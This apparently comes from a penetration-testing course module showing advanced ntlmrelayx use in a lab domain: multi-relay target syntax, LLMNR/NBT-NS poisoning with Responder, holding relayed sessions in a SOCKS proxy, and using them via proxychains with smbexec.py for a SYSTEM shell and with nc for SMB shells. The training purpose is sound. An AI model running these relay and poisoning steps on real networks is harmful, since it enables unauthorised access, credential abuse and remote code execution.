Saltar a contenido

NTLMRelayx Use Cases

In the previous section, we saw basic ntlmrelayx use cases such as dumping the SAM of a remote machine and gaining remote code execution. This section will showcase other advanced use cases of ntlmrelayx.

Multi-relaying

As explained by impacket's main maintainer @0xdeaddood in SecureAuth's blog, the multi-relay feature of ntlmrelayx allows for:

  • Identifying the users we receive NTLM authentication from (allowing us to decide whether we want to relay their NTLM authentication).
  • Relaying a single NTLM authentication (connection) to multiple targets.

ntlmrelayx implements the multi-relay feature by making the clients authenticate on the attack machine locally, fetch/extract their identities, and then force them to reauthenticate so that it can relay their connections to the relay targets. Multi-relaying is the default behavior for the HTTP and SMB servers of ntlmrelayx; however, to deactivate it, we can use the --no-multirelay option, making it relay the connection(s) only once (i.e., one incoming connection maps to only one attack).

Target Definition

We already mentioned that ntlmrelayx provides the options -t and -tf for specifying relay targets. Because of the multi-relay feature, targets can be either named targets or general targetsnamed targets are targets with their identity specified, while general targets are targets without identity. Defining targets follows the URI format, with its syntax consisting of three components: scheme://authority/path:

  • scheme: Defines the targeted protocol (e.g., http or ldap); if not supplied, smb is used as the default protocol. The wildcard keyword all makes ntlmrelayx use all the protocols it supports.
  • authority: Specified using the format DOMAIN_NAME\\USERNAME@HOST:PORTGeneral targets do not use DOMAIN_NAME\\USERNAME; only named targets do.
  • path: Optional and only required for specific attacks, such as when accessing access-restricted web endpoints using a relayed HTTP NTLM authentication (as we will cover in the Advanced NTLM Relay Attacks Targeting AD CS section).

The HTTP and SMB servers of ntlmrelyax have the multi-relaying feature enabled by default, except when attacking a single general target. Depending on the target typentlmrelayx has the following default settings for the multi-relay feature:

Target Type Example Multi-relaying Default Status
Single General Target -t 172.16.117.50 Disabled
Single Named Target -t smb://INLANEFREIGHT\\PETER@172.16.117.50 Enabled
Multiple Targets -tf relayTargets.txt Enabled

Understanding the multi-relay feature and the different target types of ntlmrelayx is paramount; let us see why by showing examples of different target types and their default multi-relaying status.

Suppose we instruct ntlmrelayx to use the target "smb://172.16.117.50"; in this case, since it is a general targetmulti-relay will be disabled, and ntlmrelayx will relay only the first NTLM authentication connection belonging to any user (from any host) to the relay target 172.16.117.50 over SMB. This relationship is 1:1, as one connection maps to only one attack (an edge case is whereby ntlmrelayx receives two different connections at the same time; although multi-relay will be disabled, ntlmrelayx incorrectly relays the two connections instead of rejecting either of them):

ntlmrelayx.py -t smb://172.16.117.50

Alternatively, suppose we instruct ntlmrelayx to use the target "smb://INLANEFREIGHT\\PETER@172.16.117.50"; in this case, since it is a single named targetmulti-relay will be enabled, and ntlmrelayx will relay any number of NTLM authentication connections belonging to INLANEFREIGHT\PETER (from any host) to the relay target 172.16.117.50 over SMB (we must supply the domain name and username precisely as shown in ntlmrelayx's output). This relationship is M:M, as many connections map to many attacks:

ntlmrelayx.py -t smb://INLANEFREIGHT\\PETER@172.16.117.50

What if we want to use the same general target "smb://172.16.117.50" but we also want to enable multi-relaying? To do so, we must put the target in a file and use the -tf option, which enables multi-relaying by default. Therefore, regardless of the file containing a general target, because multi-relaying is enabled due to the -tf option, ntlmrelayx will relay any number of NTLM authentication connections belonging to any user (from any host) to the relay target 172.16.117.50 over SMB. Instead of having a 1:1 relationship like general targets, this becomes M:M, as many connections map to many attacks:

$ cat relayTarget.txt

smb://172.16.117.50
ntlmrelayx.py -tf relayTarget.txt

At last, suppose we want use the same named target "smb://INLANEFREIGHT\\PETER@172.16.117.50", but only want to abuse the first connection ntlmrelayx can relay for the user INLANEFREIGHT\PETER; to do so, we can disable multi-relay with the --no-multirelay option:

Use Cases

ntlmrelayx.py -t smb://INLANEFREIGHT\\PETER@172.16.117.50 --no-multirelay

Note: Throughout this module, we will assume that services are running on their default ports. However, always remember that system administrators can change these default ports, so if we come against such cases after enumerating the network, we need to change the ports of services accordingly.

SOCKs Connections

Another great option of ntlmrelayx is -socks; whenever ntlmrelayx starts, it launches a SOCKS proxy that we can use to hold relayed authenticated sessions and keep them active, allowing us to abuse them with any tool. For example, if we have multiple targets with the option -tf, we can use -socks and keep as many connections active as possible. Let's see this in action.

First, we run ntlmrelayx with the -socks option (we are still targeting the SMB protocol):

$ sudo ntlmrelayx.py -tf relayTargets.txt -smb2support -socks

Impacket v0.11.0 - Copyright 2023 Fortra  
<SNIP>

[*] Servers started, waiting for connections
Type help for list of commands
ntlmrelayx>  * Serving Flask app 'impacket.examples.ntlmrelayx.servers.socksserver'
 * Debug mode: off

Then, we will use Responder to poison the network:

Executing Responder in Poisoning Mode

$ sudo python3 Responder.py -I ens192

  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 3.1.3.0

<SNIP>

After running Responder and making it poison broadcast traffic, we will notice that ntlmrelayx relays the NTLM authentication of multiple users originating from different IPs and establishes authenticated sessions on 172.16.117.50 and 172.16.117.60, adding them to its SOCKS server:

$ sudo ntlmrelayx.py -tf relayTargets.txt -smb2support -socks

Impacket v0.11.0 - Copyright 2023 Fortra  
<SNIP>

[*] Servers started, waiting for connections
Type help for list of commands
ntlmrelayx>  * Serving Flask app 'impacket.examples.ntlmrelayx.servers.socksserver'
 * Debug mode: off
[*] SMBD-Thread-9: Connection from INLANEFREIGHT/RMONTY@172.16.117.3 controlled, attacking target smb://172.16.117.50
[*] Authenticating against smb://172.16.117.50 as INLANEFREIGHT/RMONTY SUCCEED
[*] SOCKS: Adding INLANEFREIGHT/RMONTY@172.16.117.50(445) to active SOCKS connection. Enjoy
[*] SMBD-Thread-9: Connection from INLANEFREIGHT/RMONTY@172.16.117.3 controlled, attacking target smb://172.16.117.60
[*] Authenticating against smb://172.16.117.60 as INLANEFREIGHT/RMONTY SUCCEED
[*] SOCKS: Adding INLANEFREIGHT/RMONTY@172.16.117.60(445) to active SOCKS connection. Enjoy
[*] SMBD-Thread-9: Connection from INLANEFREIGHT/RMONTY@172.16.117.3 controlled, but there are no more targets left!
[*] SMBD-Thread-10: Connection from INLANEFREIGHT/PETER@172.16.117.3 controlled, attacking target smb://172.16.117.50
[*] Authenticating against smb://172.16.117.50 as INLANEFREIGHT/PETER SUCCEED
[*] SOCKS: Adding INLANEFREIGHT/PETER@172.16.117.50(445) to active SOCKS connection. Enjoy
[*] SMBD-Thread-10: Connection from INLANEFREIGHT/PETER@172.16.117.3 controlled, attacking target smb://172.16.117.60
[*] Authenticating against smb://172.16.117.60 as INLANEFREIGHT/PETER SUCCEED
[*] SOCKS: Adding INLANEFREIGHT/PETER@172.16.117.60(445) to active SOCKS connection. Enjoy
[*] SMBD-Thread-10: Connection from INLANEFREIGHT/PETER@172.16.117.3 controlled, but there are no more targets left!
[*] SMBD-Thread-11: Connection from INLANEFREIGHT/NPORTS@172.16.117.3 controlled, attacking target smb://172.16.117.50
[*] Authenticating against smb://172.16.117.50 as INLANEFREIGHT/NPORTS SUCCEED
[*] SOCKS: Adding INLANEFREIGHT/NPORTS@172.16.117.50(445) to active SOCKS connection. Enjoy
[*] SMBD-Thread-11: Connection from INLANEFREIGHT/NPORTS@172.16.117.3 controlled, attacking target smb://172.16.117.60
[*] Authenticating against smb://172.16.117.60 as INLANEFREIGHT/NPORTS SUCCEED
[*] SOCKS: Adding INLANEFREIGHT/NPORTS@172.16.117.60(445) to active SOCKS connection. Enjoy

The -socks options enable a command-line interface within ntlmrelayx; the help command prints the available commands (you can continue typing interactive commands even if the debug messages keep printing):

ntlmrelayx> help

Documented commands (type help <topic>):
========================================
help  socks

Undocumented commands:
======================
EOF  exit  finished_attacks  startservers  stopservers  targets

The socks interactive command lists the active sessions:

ntlmrelayx> socks

Protocol  Target         Username              AdminStatus  Port 
--------  -------------  --------------------  -----------  ----
SMB       172.16.117.50  INLANEFREIGHT/RMONTY  FALSE        445  
SMB       172.16.117.50  INLANEFREIGHT/PETER   TRUE         445  
SMB       172.16.117.50  INLANEFREIGHT/NPORTS  FALSE        445  
SMB       172.16.117.60  INLANEFREIGHT/RMONTY  FALSE        445  
SMB       172.16.117.60  INLANEFREIGHT/PETER   FALSE        445  
SMB       172.16.117.60  INLANEFREIGHT/NPORTS  FALSE        445

The option -socks makes ntlmrelayx act as a proxy, meaning that we can combine it with proxychains to use the sessions it holds. Only one authenticated session belonging to INLANEFREIGHT/PETER has administrative privileges on the relay target 172.16.117.50 (it has AdminStatus set to TRUE). We can tunnel any impacket tool via proxychains to abuse the authenticated session. However, first, we must set the proxychains configuration file to use ntlmrelayx's default proxy port, 1080, for SOCKS4/5. By default, the location of the proxychains configuration file on Linux is /etc/proxychains.conf:

$ cat /etc/proxychains4.conf | grep socks4

#       proxy types: http, socks4, socks5
socks4  127.0.0.1 1080

Note: Depending on the proxychains version installed, the configuration filename can be /etc/proxychains4.conf or /etc/proxychains.conf.

We will use the administrative authenticated session of INLANEFREIGHT/PETER to get remote code execution on 172.16.117.50. We will tunnel smbexec.py via proxychains using the same domain name and username. We will use the -no-pass option to prevent smbexec.py from prompting us for a password because we will abuse the authenticated session established held by ntlmrelayx's SOCKS proxy (remember that we need to keep ntlmrelayx running to utilize the authenticated sessions available on the SOCKs server, otherwise if we close it, its SOCKS server also closes):

$ proxychains4 -q smbexec.py INLANEFREIGHT/PETER@172.16.117.50 -no-pass

Impacket v0.11.0 - Copyright 2023 Fortra

[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32>whoami

nt authority\system

However, when we do not have any administrative permissions on the target(s), when the AdminStatus is FALSE, we can still establish a session to connect to a shared folder or perform other nonadministrative tasks. For example, let's use the RMONTY account to connect to 172.16.117.50, list all shared folders, and connect to the Finance shared folder:

$ proxychains4 -q smbclient.py INLANEFREIGHT/RMONTY@172.16.117.50 -no-pass

Impacket v0.11.0 - Copyright 2023 Fortra

Type help for list of commands
# shares

ADMIN$
C$
Finance
IPC$
# use Finance
# ls
drw-rw-rw-          0  Mon Jul 31 13:25:51 2023 .
drw-rw-rw-          0  Mon Jul 31 13:25:51 2023 ..
-rw-rw-rw-         18  Mon Jul 17 20:07:49 2023 flag.txt
-rw-rw-rw-         22  Mon Jul 17 20:07:49 2023 report.txt
# exit

Although having access to shared folders might not seem very helpful, in the upcoming sections, we will learn about other techniques that we can chain with having access to shared folders to force clients to perform actions without their consent.

Interactive SMB Client Shells

Alternatively, we can use the --interactive/-i option to launch an SMB client shell for each ntlmrelayx established authenticated session. The SMB client shell will listen locally on a TCP port, and we can reach it with tools such as nc:

Using the Interactive Option

$ ntlmrelayx.py -tf relayTargets.txt -smb2support -i

Impacket v0.11.0 - Copyright 2023 Fortra

<SNIP>
[*] Servers started, waiting for connections
[*] SMBD-Thread-5: Connection from INLANEFREIGHT/RMONTY@172.16.117.3 controlled, attacking target smb://172.16.117.50
[*] Authenticating against smb://172.16.117.50 as INLANEFREIGHT/RMONTY SUCCEED
[*] Started interactive SMB client shell via TCP on 127.0.0.1:11000
[*] SMBD-Thread-5: Connection from INLANEFREIGHT/RMONTY@172.16.117.3 controlled, attacking target smb://172.16.117.60
[*] Authenticating against smb://172.16.117.60 as INLANEFREIGHT/RMONTY SUCCEED
[*] Started interactive SMB client shell via TCP on 127.0.0.1:11001
[*] SMBD-Thread-8: Connection from INLANEFREIGHT/NPORTS@172.16.117.3 controlled, attacking target smb://172.16.117.50
[*] Authenticating against smb://172.16.117.50 as INLANEFREIGHT/NPORTS SUCCEED
[*] Started interactive SMB client shell via TCP on 127.0.0.1:11002
[*] SMBD-Thread-8: Connection from INLANEFREIGHT/NPORTS@172.16.117.3 controlled, attacking target smb://172.16.117.60
[*] Authenticating against smb://172.16.117.60 as INLANEFREIGHT/NPORTS SUCCEED
[*] Started interactive SMB client shell via TCP on 127.0.0.1:11003
<SNIP>

ntlmrelayx started interactive SMB client shells for each authenticated session on the relay targets; Each connection will open a port to the target machine. We need to search for these lines in the above output: [*] Authenticating against smb://172.16.117.50 as INLANEFREIGHT/RMONTY SUCCEED followed by [*] Started interactive SMB client shell via TCP on 127.0.0.1:11000. If we want to use RMONTY's session to 172.16.117.50, we need to connect to port 11000 on 127.0.0.1 using netcat:

Interactive Shell

$ nc -nv 127.0.0.1 11000

Connection to 127.0.0.1 11000 port [tcp/*] succeeded!
Type help for list of commands
# shares

ADMIN$
C$
Finance
IPC$